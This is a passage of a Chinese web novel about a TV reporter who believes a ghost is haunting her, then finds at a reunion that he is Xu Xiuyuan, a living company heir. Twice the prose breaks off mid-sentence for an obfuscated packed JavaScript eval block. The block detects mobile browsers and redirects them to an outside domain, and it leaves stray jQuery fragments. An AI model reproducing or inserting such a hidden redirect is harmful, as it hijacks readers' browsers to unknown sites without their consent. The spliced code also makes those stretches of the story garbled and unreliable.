自己这几天的调查都白忙活了,这个睡衣男鬼看来是这两个月之内没的,而她家的小区,这段时间没有出现年轻人身亡的情况。 吴以晴误以为她是在纠结要不要买,便认真地和她分析道:“就算你真买了,应该也不会告诉你的,除非是警察,或是他们家的高级VIP,否则你买了也是白花钱。” * 颜珺瑶没有买那套睡衣,也没有那么多钱变成高级VIP。 她有些沮丧,之前查的时候好得有个范围,现在真是——大海捞针。 从商场回来后,她就上网搜索了近三个月本市年轻男性死亡的新闻,基本上也可以排除。 一个是普通家庭,而另一个,据说家境不错,但网上有人贴出了他的照片,她看了,并不是那个睡衣男鬼。 可除了网上报道的这些之外,这段时间本市一定还有其他年轻男性离世的,比如医院里病逝的,比如那些没有被报道的。 这范围大了去了,她要怎么查啊! 对着笔记本发了会儿呆,突然想起自己发的那条帖子。 虽然知道就自己最近的倒霉劲儿,八成——不,是九成九不会有高人从天而降给她指点一二的,但再怎么着也是个希望,她还是点了进去。 皱着眉,龇着牙,一条条的往下看留言。 还是和昨天看到的差不多,不是起哄开玩笑的,就是质疑她编故事吓人。 当然,也有人也分享了自己的离奇经历,颜珺瑶便回复了这条评论,问对方最后是怎么处理好的。 这位热心网友秒回:全靠一身正气。 “……” 她继续往下看,而后被其中的一条评论给吸引了注意力。 八十一楼:如果这个人真的存在,一种是已经死了,找上楼主可能是有事相求,八成是夙愿未了;二是还活着的话,这可能是预兆,他接下来会有危险,我指的是会危及生命的那种。如果楼主找到这个人,可以适当提醒,让他注意。 颜珺瑶注意到了两个关键词,危险与提醒。 她回复该网友,那为什么会发生在我身上呢?我真的没见过这个人。 网友刚好在线,很快回复:那就很难说了,有些人天生会招惹这些东西,也有可能是你和他命中注定会有纠缠,不论好坏,你只能受着了。 当然,还有一种可能性,说起来就比较阴谋论了,那就是你和他可能都只是棋子,背后有大佬,我说的大佬是指懂玄学的人,这个人想利用你们做点什么事情吧,至于为什么会找上你和他,不好说。如果这个人还活着,估计你们俩很快就会有交集。 颜珺瑶将这个网友的回复看了好几遍,她的心里是想骂人的。 无论哪一种可能性,她都不想沾惹。 该怎么办呢? 9. 第 9 章 普陀寺里,宝相庄严。 颜珺瑶跪在蒲团上,双手合十拜了三拜,而后摇动签筒,“啪嗒”一声,一根签子签子掉落。 捡起来一看,是第五十签。 颜珺瑶站起来,看着一旁的张熙杰,问道:“你不求一签吗?” “不求。” 张熙杰摇头,瞥了一眼颜珺瑶手上的签子,“先去取签文,在那边——” 顺着他所指的方向走去,到了签文处,报了签号,拿到了签文。 展开一看,是中签。 炎炎烈火焰连天,焰里还生一朵莲;到底得成终不害,依然生叶长根枝。 光读这首诗,大致知道是怎么回事。大意是说她目前身处麻烦之中,但到底最后还是解决了,并且没有损伤。 边上的注解也差不多是这个意思。 “感觉这签诗还不错,你求的是什么?” “时运,去解签处再问问。” 解签处是一位中年大叔,看了颜珺瑶的签文之后,滔滔不绝说了许久。 颜珺瑶听得一愣一愣的,大叔对于签文的解读其实和注解相差无几,只是换了种说法。但除此之外,大叔还说了不少,似乎都是在夸她。 不,确实一点说,应该是在夸每个抽到这个签文的人。 大叔说此签当事人是个有理想,有抱负,意志坚定,有着蓬勃生命力的人,不会轻易屈服于困境,即所谓的“火中生莲”,而且得遇贵人。 “……谢谢叔叔——” 只是——她有些赧颜,自己有这么多美好的品质吗? 就比如说她不会轻易屈服于困境这一点,但其实好像并不总是这样。就拿高三那一年来说,数学考试最后一道大题的难度众所皆知,很难拿分,之后她直接放弃最后一道大题的练习。 她知道自己的水平,这一题根本得不了分,只知道出题人的意图大概是想羞辱她这种看不懂题目的人。不过也是因为她懂得放弃,把时间都花在了其他部分的题型上,高考数学的分数竟然还不错。 这也算是火中生莲?! * “你刚才怎么不求一签呢?来都来了——” 下山路上,颜珺瑶问张熙杰。 张熙杰笑起来,“我爷爷嘱咐的,如果进寺庙,只可烧香拜佛,不能有所求。” 不能有所求?去寺庙烧香拜佛,不就是因为有所求吗?求财,求平安,求升迁—— 怎么会无所求呢? 颜珺瑶好奇,“为什么不让求呢?” “他不告诉我,就这么叮嘱。小老头固执起来,谁都拿他没办法,不说就不说吧,听他的话照做就是了,而且我们家人也不常去寺庙。” “对了,汤爷爷最近身体怎么样?” 前几次回老家,颜珺瑶发现汤爷爷的身体变得不如以前,特别是清明假期那次,脸上有着明显的疲态,没什么精神,但汤爷爷只说是自己有些感冒,没什么大碍。之后再回去见到他,老人家身体看着还是不太好。 对于爷爷的身体,张熙杰很是无奈。 老人家坚持说自己去过医院检查了,没有大问题,就只是小毛病,感冒而已,说什么都不愿意跟他去医院,固执的很。他爸妈让老人搬到镇上和他们一起住,方便照顾,也能放心,但老爷子就乐意一个人住,他和爸妈要是劝多了,老爷子就不高兴,所以也不敢多说。 说话间就到了山腰处的一个亭子,亭子口坐着一位须发皆白的老者,面前放着一张桌子,朝外的桌布下垂,上面写着两个字。 算命。 颜珺瑶偏头看了眼张熙杰,拉着他进了亭子。 老人家年纪应该不小,但精神矍铄,神采奕奕的,而且看起来慈眉善目,给人感觉很是平易近人。 “老先生,我想麻烦您帮我算算——” 老人家笑呵呵地掏出一张塑封的二维码,“可以,二百,先扫码付钱,再说说自己的生辰八字。” “……哦,好——”颜珺瑶正要拿手机,张熙杰却扯了下她的胳膊,转而对老人家笑道:“老爷子,别人都是先算后付钱的,您这儿怎么不一样呢!” 老先生对此丝毫不介意,依旧笑呵呵的,看着颜珺瑶说道:“小姑娘,你最近被缠上了。” 颜珺瑶一怔,随即立刻付了款,说了自己的生辰八字。 张熙杰有些丈二和尚,被什么缠上了?很快他反应过来,笑了笑,这些话术还挺好用的。 老先生一面翻看手边的一本旧书,一面掐着手指算了好一会儿,蓦地神色变得有些严肃。 “小姑娘,你命中会有一劫,在二十五岁。” “……”颜珺瑶咽了咽口水,她今年已经二十四。 “那这一劫可以躲过去吗?不会——要命吧?” “那倒不会——”老先生合上书,推到了一边,“你是难得的大富大贵享长寿的命格,就是这一个坎过得艰难,要多加小心。” “……”大富大贵享长寿,眼下还没法验证,颜珺瑶现在最在意的是即将到来的这个劫。 “老先生,有办法化解吗?或是——需要注意什么?” “小姑娘,自有有缘人和你一起渡劫,一定要保持本心。” “……”有缘人?男朋友吗?她现在也没有啊! 张熙杰凑到了老先生跟前,笑着道:“您看我是不是就是她的有缘人?” 原本他只是开个玩笑,没想到老先生居然认真地端详了他好一会儿,又问他要生辰八字,说是这样才能算得准。 颜珺瑶赶紧对老先生说道:“不好意思,他是开玩笑的。” 道过谢,两人正要离开,颜珺瑶突然又想到一个问题。 “老先生,您说的二十五岁,是虚岁还是周岁?” “虚岁。” “……” 所以这个劫难是会发生在今年?! * 继续往山下走,张熙杰见颜珺瑶从亭子出来之后就有些无精打采的,于是便安慰她。 “你别太把那个老人家的话放在心上,他算得不一定准,而且我觉得他说的那些话套在另一个人身上,也能说得通。” 颜珺瑶抬起头,弯起唇角,“放心,我没事。其实我还挺高兴的,老先生说我是大富大贵享长寿的命,而且还会逢凶化吉,嘿嘿!” “珺瑶——”张熙杰清了清嗓子,看了一眼又垂着头的颜珺瑶,“你是不是遇到那方面的问题?” “嗯?”颜珺瑶愣了下,很快反应过来,“哦,那个——就是那次三车连撞,我看到了一个小女孩——” 张熙杰记着这件事,在医院的时候她跟他说过,只是这已经是两个月前的事情了。 “你最近又看到她了?” 颜珺瑶眨了眨眼,“没,就一次,我只是怀疑自己那段时间一直反复发烧,可能是因为她——” “如果你现在还觉得害怕的话,你可以去找我爷爷。不是我王婆卖瓜,我爷爷确实懂一些。虽然他这几年已经很少帮人看事,但你不一样啊,他一定会帮的。” “嗯,我下次回去找汤爷爷。” 张熙杰不知道的是,其实她算是已经间接找过汤爷爷了。也许是因为她没有当面把情况详细地告诉汤爷爷,所以汤爷爷给爷爷的符没有“对症下药”。她想过了,关于那个睡衣男鬼,自己再调查一段时间,如果能查出来那个男鬼找上她的原因,也许问题就能迎刃而解。要是查不到,或是那个男鬼又突然出现,或是出现了其他更可怕的情况,那自己就去找汤爷爷帮忙。 到了山下,往停车场去。 两人正有一句没一句地聊着天,张熙杰突然“嗯?”了一声,扭头看着山脚处。 颜珺瑶跟着看过去,有不少人正要往山上走。 “怎么呢?碰到熟人了?” “不是熟人——”张熙杰摇摇头,“好像是许修远,就是前面那三个走在一起的大高个男的,中间穿白色上衣的那个。” 许修远?这名字有点耳熟。 “就是上次车祸身亡的许耀中的儿子,他现在是许家的接班人了。” 原来是他啊! 颜珺瑶想起来,自己这是第二次见到他了,第一次还是车祸发生的当晚,在医院看到的。 不过,说来也巧,两次都是远远地瞧见,都没看到脸。 许修远身边的两个年轻男人,应该是他的朋友,这次他身边居然没有跟着保镖,和上次在医院看到的阵仗差别太大了。 “他怎么来了这里?” 颜珺瑶不解,来寺庙肯定是烧香拜佛,这——奇怪吗? “对他来说算是奇怪,前两年有媒体拍到他爷爷去龙景寺,听说许家这么多年在龙景寺捐了不少功德钱。” 颜珺瑶喃喃:“难道是因为他父亲的车祸,所以才来了这里?” “有可能。” * 不用上班的日子总是过得特别快。 好不容易盼来的两天休息日,就跟加了倍速一样,嗖的就过完了。 总感觉还没睡够懒觉呢,这就又开始上班了。 而上班第一天,就是大雨天。 外出采访最怕风雨,但又不能避免。 新闻的发生,不会因为刮风下雨就会延迟或取消。 下午三点多,采访车载着几个湿漉漉的人回到了电视台。 一回来,顾不上歇口气,大家又忙碌开了。 紧赶慢赶,终于完成了手头的任务,交了上去。 嘿,今天可以准点下班! 颜珺瑶松了口气,靠在办公椅上等着下班。 一旁的吕嫣敲了敲工位的隔板,唉声叹气地跟她抱怨男朋友出差,都不能陪她。 颜珺瑶想了想,从一旁的抽屉里拿了一瓶饮料递过去,“好喝的——” “啊——”吕嫣瞥了一眼,颇有些嫌弃地晲了她一眼,“你这爱好多早晚给换换呀,这是儿童饮料,我上初中就不喝这个了,你居然还天天备着!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951137|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一面说着,一面使劲将习惯戳进瓶子里,吸了一口。 颜珺瑶反驳:“酸酸甜甜的,多好喝啊,而且你瞧这名字取的,看着就觉得来劲儿!” “哎——”吕嫣托着下巴,有气无力地嘀咕,“男朋友不在身边,还怎么爽歪歪啊——” “……”疑车无据。 颜珺瑶左右瞧了瞧,嗯,幸好声音不大,没人往这边瞧。 “哎呀,你紧张什么,”吕嫣撇撇嘴,“我可不是在开车,我是说真的,有男朋友挺好的,平时不管多晚,不管什么天气,都会接送我,经常陪我吃饭,逛街,不过前提是他不出差。哎,可真想他呀现在——” “……”额,前提难道不是你男朋友爱你吗? 颜珺瑶轻咳一声,“那要不——你现在给他打个电话?” “不打——”吕嫣摇头,“刚才忙里偷闲给他打过了,他现在没空,等我晚上回去了再视频。” 她又吸了一口儿童饮料,“我跟你说,他爸妈开始催结婚了。” “那你们怎么打算?” 颜珺瑶记得吕嫣和现在这个男朋友在一起快两年了,不知道两人有没有开始考虑到这一步。 “我男朋友想结,家里婚房也准备好了,但我暂时还不想结婚,谈恋爱多好啊,我很享受现在的生活,结了婚感觉好多事啊,一点都不轻松,接着就会催生,生了一个,还会让你凑个好字,想想都觉得累。就现在还没结婚呢,我妈就已经开始这么说了,听得我一个头两个大!” 颜珺瑶眨眨眼,又给她塞了一瓶饮料。 “啧啧啧——”吕嫣冲她挑挑眉,“你这是把我当小朋友哄呢!” “……是啊——”不然她也不知道说啥,结婚这事外人不好多嘴。 “既然这样的话,再给我一排整的,”吕嫣朝她伸手,“我今晚还要留下来呢!” “你今晚有安排?”颜珺瑶拉开抽屉拿了一排递给她。 “是啊,有个电话采访——”吕嫣将空瓶扔进办公桌底下的垃圾桶,“你呢?待会儿就可以下班了吧?” 颜珺瑶点点头,是啊,嘿嘿! 只祈祷今晚不会有什么突发任务。 “那太好了——”吕嫣来了精神,坐着椅子又呲溜到她身边,“待会儿陪我去吃饭吧,我不想一个人去,感觉自己好可怜啊!” “……额——”颜珺瑶轻咳一声,坐直了身体,“我待会儿刚好有事。” “你怎么回事啊,老实交代,干嘛去?和帅哥约会,还是去相亲?” “同学聚会。” 其实应该算是大学校友会,大一刚进学校的时候参加了本市老乡会,加了群,大家关系都还挺好的。毕业之后,有人在群里提出同城聚会,去年组织过一次,不过当时颜珺瑶没时间去,今年正好可以去看看。 “哇塞,有帅哥吗?”吕嫣一下子来了兴致,“你不正好母胎单身嘛,碰到个又帅又多金的,将其一把拿下!” “他们我都认识好久了,而且应该都有对象了。” “你可别告诉你一个帅哥都没有?那你这同学会去得不值啊!还是张熙杰好,长得不错,年纪轻轻又有房有车的,关键你俩还是青梅竹马,从小一起长大,知根知底,他对你又好,选他,准没错的,相信我!” “把爽歪歪还我!” * 同学会值得值得去还尚未可知,但傍晚的时候天放晴了,让人的心情也随之变好了。 一下班,颜珺瑶就打车出发了,将将在七点左右到了。 雨天的路况都不算太好,堵车也会比平日里严重一些,虽然定的时间是七点,但是直到七点半人才到齐。 令颜珺瑶有些意外的是,学姐杨薇居然也来了。杨薇比颜珺瑶大两届,大学时是风云人物,长相漂亮,能力出众,又多才多艺,经常担任学校里晚会的主持人,也参与策划学校的不少活动。 大一的时候,颜珺瑶和学姐有过接触,但之后就没怎么联系了,学姐也几乎没再在群里面说过话。听说学姐一毕业就签了帝都的一家大公司,没想到现在回家来发展了。怪不得昨天组织者在群里面说,今天会有惊喜,说的应该就是她。 杨薇的出现,让大家惊喜的同时又很好奇。好奇她怎么会辞去帝都的大好工作,虽然说本市也算是大城市,机会也不少,但当时杨薇是立志要在帝都扎稳脚跟,闯出一片天地的。但这才几年,学姐就选择离开帝都回家来,大家不可能不诧异。 不过看到杨薇依旧光鲜亮丽,就知道她现在发展得也不错。再一问现在的公司,就觉得学姐的选择没问题。 许氏集团。 多少人想进都进不了的好公司,不仅待遇福利好,而且很有发展前景。 关键学姐还是一把手的秘书,心腹,未来大好前景指日可待。 颜珺瑶闻言一怔,看向了坐在左手边的杨薇。 许氏集团?! 还是一把手的秘书,那她应该会清楚许耀中的车祸吧? 10. 第 10 章 不少人十分艳羡地围着杨薇学姐长学姐短,问长问短,杨薇没有丝毫的不耐,但有些问题还是选择打太极,没有正面回答。 她很享受身边这些学弟学妹羡慕的眼神,从大学开始身边不少人看她的眼神就是如此。尽管离开帝都的那段时间很是狼狈,那是她一直都不愿意去回想的记忆,但那又如何,现在她又重新成为大家的焦点。 说话间,有人说起两个月前许耀中的车祸以及之后那些谣言。虽然他们知道许氏集团辟过谣,但还是忍不住想问问。 颜珺瑶一下子竖起了耳朵。 杨薇轻轻挑了挑眉,一副“就知道你们要八卦这些”的表情,微微抬了抬下巴,笑道:“当然是假的,车祸就是个意外,新闻上都报道了。哎——” 她余光瞥见一旁的颜珺瑶,“珺瑶不就是记者嘛,她肯定清楚是不是意外。” “……” 默默吃瓜的颜珺瑶突然被点到名,放下手里的橙汁,点头道:“嗯,确实是意外。” 这个话题就这么过去了,大家就聊起了其他的。 不一会儿,杨薇擦了擦嘴,起身离开了包间,说是去洗手间。 颜珺瑶犹豫了两秒,也跟着出去。 走出包间,杨薇回头注意到她,便笑着等她。 颜珺瑶紧走了两步,走到杨薇的身边,一起慢慢往洗手间去。 “刚才都没机会和你好好说话,大学时你就是校园记者,现在算是实现了梦想,真不错!” “谢谢学姐。” 两人有一句没一句地闲聊着,颜珺瑶突然舔了舔唇,轻咳了一声,不太自然地开口问道:“学姐,车祸发生前,许总的车子就停下了,不知道他停车的原因是——” “停车?”杨薇倏地停下了步子,转头看向颜珺瑶,“你是说许总当时停车了?并没有啊,我也没听说过,新闻里更是没有提到,你——” 她打量了一下颜珺瑶,顿了顿,才又道:“你怎么会——” 颜珺瑶心头一突,难道没有吗? 遭了,说错话了。学姐不会是以为她是故意来套新闻的吧? 她只好解释道:“我当时刚好在不远处看到了车祸发生,不过那天有些不舒服,之后还吓得直接晕倒进医院了,请了很多天的假,应该是我头晕看错了。” “哦,这样啊,太巧了——”杨薇笑起来,她就说嘛,她怎么不知道这回事。 “当记者风里来雨里去的,确实辛苦,要多注意身体才好。” “嗯,谢谢学姐,我会的。” “哎,我们老许总对底下的人都不错,大家都很舍不得他,场面太惨了,难道你被吓到了。” 颜珺瑶不好意思地笑了笑,那天确实是有点被吓到了,虽然在采访中见过一些惨烈的场面,但长这么大还是第一次亲眼目睹车祸的发生。 光是这么一想,她突然就觉得有点透不过气来,那天在电动车上的那些感觉似乎又来了。 深吸一口气,她又找了个话头,只想让车祸的话题赶紧过去。 从洗手间出来,杨薇的手机响了,并不避讳颜珺瑶,直接接了起来,同时伸手指着大厅的沙发,便往那边走边讲电话,讲了两句之后就挂了。 颜珺瑶跟着坐在一旁,杨薇忍不住嘀咕了起来,今晚又忙什么去了,居然不接电话,敢情就指着我呢。 颜珺瑶觉得她的这句自言自语有点奇怪,不禁问道:“嗯?什么?出什么事了吗?” 杨薇啧了一声,撇了撇嘴,抱怨道:“我同事在网上发了什么帖子,说是捡到一个什么水晶摆件,想要找失主。 不仅在贴吧发帖子,还在各大社交软件上发,每天电话可不少,又担心漏接了,所以就设置了无人接听时转移到我这边来了。幸好我长了个心眼,给的是我另一个号码,之后直接弃用就好了,不然我的工作号就废了——” 杨薇还在继续说着,但颜珺瑶只觉得脑子里嗡嗡的,连呼吸都一下子屏住了。 她只听到四个字,水晶摆件! 她忍不住问道:“水晶摆件?什么样的?” 杨薇没注意到颜珺瑶的异样,边点头,边低头摆弄手机,“是啊,还挺好看的一个摆件,你看这——” 颜珺瑶看了一眼学姐递到跟前的手机,脸色刷的一下白了,眼睛蓦地瞪圆了,这——这怎么和自己消失的那个水晶摆件那么像呢? 她不禁拿过了学姐的手机,滑动屏幕,看到了另外一张照片,越看越像。 发布者只发了两张照片,正面和背面,要是有摆件的底部,她就能一样判断出来。 杨薇看了看颜珺瑶紧张的神色,眨了眨眼,有些奇怪,又有些好笑,“怎么?不会这么巧,这东西刚好是你的吧?” 除了发那个帖子,颜珺瑶到现在还不敢把那天晚上的事情说出去,身边谁都没说,因为实在是太过诡异,担心吓到别人,或者别人可能会觉得自己有臆想症,精神不正常,所以出现了幻觉。 她没有承认,笑得有几分勉强,“不是我的,我只是也有一个类似的,就是觉得——你同事非常热心!” 杨薇笑起来,忍不住又哼了一声,“也不怪你这反应,这年头捡到东西还这么大——费周章的人已经不多了。” “是啊——”颜珺瑶顿了顿,又问道,“他——他是在哪里捡到的?怎么会需要到网上寻求失主的?也有可能是别人不要的呢? 杨薇耸了一下肩,“不清楚,不过我估摸着事情应该是我们领导让做的,所以那家伙才会这么积极主动,费尽心思地一定要找到失主!” 颜珺瑶一下子愣住了,“你们领导?” “是啊,我们许总,就是那位老许总的独子,长得——” 杨薇挑了挑眉,玩笑道:“让人看了特别心动,但只可远观而不可亵玩焉!” “……”颜珺瑶咽了咽口水,哦—— 所以自己在医院和普陀寺山下碰到的人,有可能是真正捡到水晶摆件的人? 有没有可能他——就是自己看到的那个睡衣男鬼? 可这个人明明还活着啊!这——这怎么可能呢? 不,不可能是他。 她正琢磨着要不要开口问问学姐,有没有这个许总的照片,杨薇突然站了起来,“走吧,我们进去吧,免得出来太久,他们还以为我们提前溜了也不打一声招呼!” “……哦——”颜珺瑶回过神来,跟着站了起来,“学姐,要不你先进去吧,我在外面透透气,里面有点闷!” 杨薇眉心微动,拍了拍她的肩膀,“好吧,早点进去啊!” 杨薇一离开,颜珺瑶立即就登录了贴吧,找到了学姐给自己看的帖子,点了进去,再仔仔细细,一字不落地把帖子完完整整地看了下来。 她记下了帖子里发布的号码,在大厅里走来走去,犹豫地要不要现在就打过去。 她满脑子都是那个帖子的内容。 捏着手机,她觉得自己等不到回去了,她现在就想打过去。 可刚才学姐说了,发帖人设置了无人接听时来电转移,如果他这会儿还是没空接电话,那岂不是待会儿又是学姐接的? 颜珺瑶咬了咬唇,蓦地双眸一亮。 对对,万一是学姐接了起来,就说自己打算先走了,让她帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951138|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙说一声。 对对,就这么说! 不过—— 她又顿住了,所谓的无人接听时来电转移,这个无人接听是多长时间呢? 保险起见,她先拨通了客服电话,得知这种情况下的来电转移,只需要超过四十秒无人接听,就转移到了设置的转接号码。 四十秒。 好短的时间。 深吸一口气,使劲地咽了咽口水,颜珺瑶终于按下了帖子里留的手机号码。 嘟声一下下地敲打着她的神经,从拨通的那一秒起,她在心里开始默数着时间。 一,二,三,四,五…… 十五,十六,还是没人接听。 颜珺瑶将手指放在挂断键上,犹豫着要不要马上挂断,可心里总是抱着一丝侥幸,也许下一秒对方就接了呢? 就算真的转到学姐那里,就说自己先回去了,麻烦她跟大家说一声,学姐也不会怀疑什么。 她正胡思乱想着,电话居然接通了。 “……” 颜珺瑶一下子懵住了,不知道该如何开口,因为她不确定到底是不是学姐。 幸好,对方先说话了。 “喂——” 心头狠狠一震,是个男人的声音。 她缓了缓,声音几乎发颤地开口问道:“您好,请问是隔夜蒜薹炒肉吗?” “嗯哼——”电话那头的男人轻声笑了笑,“所以你就是Mary吗?” Mary? 颜珺瑶呆住了,一颗心一下子掉进了谷底,怎么是Mary呢? 难道这个世界上会有这么小概率的事情,有个人拥有一个和自己几乎一样的水晶摆件,而且同时也丢了? 心脏依旧怦怦狂跳,她失望地叹了口气,不好意思道:“抱歉,我不是Mary,是我弄错了,打扰了!” 电话那头似乎知道颜珺瑶打算挂电话,立即出声道:“等等——” 颜珺瑶奇怪,“有什么事吗?” 对方突然问道:“请问你的英文名是什么字母打头的?” 颜珺瑶皱了皱眉,突然意识到什么,愣了一下,说道:“是——” 只一个“是”字出口,她的声音戛然而止,脸上顷刻间涌现极度惊恐的神色。 四五米开外,迎面向她这个方向走来的那个西装革履的男人,这个男人—— 居然和自己那两个晚上看到的睡衣男鬼一模一样,而且他刚好拿着手机。 所以就是他? 自己看到的人就是他,和自己正在通话的也是他吗? 他到底是人,还是鬼? 颜珺瑶的脑子一下子炸开了,已经完全忘记了自己还在和别人通电话,任凭手机里的那个男人一直在“喂喂喂”地喊她。 而此时,那个男人也顿在原地,一瞬不瞬地看着他,脸上同样有着不可置信的震惊。 但很快,他向自己走来。 心脏在胸腔里跳得过分厉害,她开始感到喘不上气来,脖子像是被人用绳子给勒住了一般,是窒息的痛苦。 看着那个男人和自己的距离越来越短,她本能地感到恐慌,下意识地想要后退,可身体里却似乎有一股子说不清道不明的力量,让她控制不住地要去靠近他。 蓦地,她的脖子像是被人用绳子给勒住了一般,是那种窒息般的,无法呼吸的濒临死亡的痛苦与恐惧。 颜珺瑶脸色骤变,双手死死拉扯自己的衣领,试图让自己喘上气,但无济于事。 很快,眼前陷入了一片黑暗。 在失去意识前,颜珺瑶想到的是,自己一定是疯了。 11. 第 11 章 颜珺瑶醒来时,余光瞥见了点滴架上的药瓶。 她微微一愣,自己这是——又进医院了? 很快,晕倒前的画面渐渐回笼,那个迎面朝她走来的,长身玉立的男人—— 她用力地闭了闭眼,侧过头看向左手边,是正在低头回信息的杨薇。 杨薇很快注意到颜珺瑶的动静,忙放下手机,欣喜道:“珺瑶,你终于醒了啊,太好了!刚才可是吓到我了!” 颜珺瑶撑着手,试图坐起来,杨薇见状,忙道:“别着急起来,我帮你把床摇起来。” “谢谢学姐!” 病床的床头一点点抬高,杨薇边忙活边说道:“你刚才啊,在大厅晕倒了,幸好我们许总正好看到,亲自开车送你来了! 颜珺瑶猛地拽住了身上的被子,心跳又瞬间加快频率。 那个男人——那个男人居然就是学姐所说的许总,他居然就是。 所以,就是他捡到了她的水晶摆件,也是他想要找到她。 不,确切地说,应该是他留下了她砸过去的水晶摆件,所以他是想要找到砸她的人。 太不可思议了,自己那两天晚上看到的居然不是鬼,而是活生生的人。 可他是怎么做到突然出现,又顷刻间消失的? 颜珺瑶渐渐回过神来,看向杨薇,突然问道:“那个许总是不是穿着黑色西装?” “啊,对啊,就是他,你晕倒之前也看到他了?” 最后的一点可能也荡然无存,许修远就是自己看到的睡衣男鬼,也许还好端端地活着。 “嗯,”颜珺瑶无声地叹了口气,“就是他捡到了那个水晶摆件吗?” “应该就是,但我没问过,不能百分百肯定,”杨薇的眼神带着探究,“你是不是见过那个东西?” “我——我不确定。” 就这么短短一句话,杨薇的脑子里已经脑补出了一部电视剧。 刚才在酒店大厅的时候,她就觉得颜珺瑶看到那个帖子时的反应很奇怪,可她却又否认了那个水晶摆件是她的东西。 虽然何文旭没有明说,但她早就猜到那个摆件肯定是许总捡到的,也是许总让何文旭寻找一个不值钱的水晶摆件的主人,否则她才不会答应帮何文旭这个忙,这几天整的她接了好些莫名其妙的电话,晚上都没怎么睡好。 她又瞥了一眼颜珺瑶,难道她和许总之间发生了什么不为人知的故事? 否则许总为什么会突然对那么一个普通的水晶摆件这么重视,还专门让自己的助理要找到所有者? 当时她在包间里,发现颜珺瑶好一会儿还不回去,一想到颜珺瑶看到那个帖子时的反应,还是决定出去看看。结果刚出包间没走几步,就看到不远处许总抱着颜珺瑶,正在着急地往外走,而颜珺瑶似乎人事不知,于是她跟了上去。 许总当时的反应,不像是第一次见到颜珺瑶,而且还亲自开车把人送来医院,甚至还很是不放心地一直等着她苏醒。 要说许总不认识颜珺瑶,她打死都是不相信的。 但是—— 她有些闹不明白这两人到底是啥关系。 啊—— 有没有可能是许总在某一天无意中邂逅了颜珺瑶,对她一见倾心,但来不及认识她,却只捡到了她落下的那么个水晶摆件,所以开始全城寻爱? 霸道总裁爱上我的玛丽苏戏码还没在脑子里上演完,她又觉得不太对劲。 对,是女主角的反应,她为什么看起来好像很—— 害怕呢? 找到自己丢失的东西难道不该高兴吗?就算这个东西不重要,不值得高兴,也不至于害怕啊? 真是奇了怪了。 * 杨薇清了清嗓子,“哦,这样啊,那你待会儿可以问问许总。” 说着,还往病房门口瞧了瞧,“他出去接电话了,应该马上就会进来。” 分明是再正常不过的一句话,颜珺瑶的反应却让杨薇惊着了。 颜珺瑶脑子轰的一声,一把抓住学姐的手,满眼惊恐地看着她,“他——他也在这儿?” 他为什么会在这儿?他也认出她了? “是——是啊——”杨薇有些不知所措,“怎么呢?你怎么——哎,你干嘛啊——” 颜珺瑶蓦地拔掉了手上的针头,杨薇猝不及防,吓了一大跳,眼看颜珺瑶就要下床,立即按住了她的肩膀,不禁提高了音量。 “珺瑶,你干嘛啊,好端端地干嘛把针头给拔了呢?!” 颜珺瑶还想挣扎,“学姐,我要回去,我要出院!” 杨薇急了,使劲地按住了她,不让她下床。 “出什么院啊,医生说你要住院观察的,你别激动,先冷静下来啊!” 颜珺瑶终于不动了,浑身无力地靠坐在床上,缓缓地闭上了双眼。 似乎真的冷静了下来。 杨薇总算是松了一口气,忙按了呼叫铃,在病床边上重新坐下,忍不住摇了摇头,“珺瑶,你有哪里不舒服吗?” 她和颜珺瑶认识了挺长时间的,虽然前几年没怎么联系过,但她多多少少也听说过她的情况。以她对颜珺瑶的了解,这还是第一次见到她这么冲动,不顾一切的样子。 怎么就一听到许总也在医院,就吓成这样了呢?许总到底做了什么,让她对他恐惧成这样了? 短短几分钟,脑子里那部还未完结的玛丽苏爱情小甜剧就土崩瓦解,面目全非了。 许总该不会对人小姑娘——不,应该不会,许总不像是那种人——吧? 颜珺瑶觉得很累,微微地摇了摇头,轻声说道:“我没什么事,只是有点累。” 杨薇倒了一杯温水,俯身靠近她,“要不要喝口水?” 颜珺瑶继续摇头,“不喝,谢谢学姐,今天——太麻烦学姐了。” 话刚说完,她又闭上了眼睛。 “说什么太麻烦的话,只是——”杨薇将水杯放下,叹了口气,忍不住问道:“你今天怎么呢?是不是——出了什么事?” 颜珺瑶缓缓地睁开了眼睛,她也不知道自己怎么了,总感觉自己突然变得好像无法控制自己的身体和情绪。 她也很想知道自己到底怎么了! 只要一想要那个男人待会儿就会过来,她就觉得呆在这个病房里让她喘不上气来,让她心烦意乱,让她疲惫至极。 * 就在这时,医生和护士进了病房,重新扎了针又做了检查,医生告诉颜珺瑶,没什么太大的问题,不过晚上还是要留在医院多观察观察。 颜珺瑶有气无力地点了点头,说了声谢谢,等到医生和护士出去了之后,杨薇轻轻拍了拍颜珺瑶,“肚子饿吗?” “谢谢学姐,我不饿,今晚真是麻烦你了!” “又来了,太客气了,谁让你是我的学妹呢——” 正说着,杨薇的余光瞥见病房门口出现了一个高大的身影,抬眼看去,双眸一亮,随即站了起来,许总—— 颜珺瑶顺着她的视线望了过去,门口的那个男人不正是自己晕倒前看到的人吗? 许修远走了进来,看着杨薇说道,辛苦了—— 随即又转向病床上的人,迎向颜珺瑶极力克制的眼神,温声问道,颜小姐,感觉好些了吗?
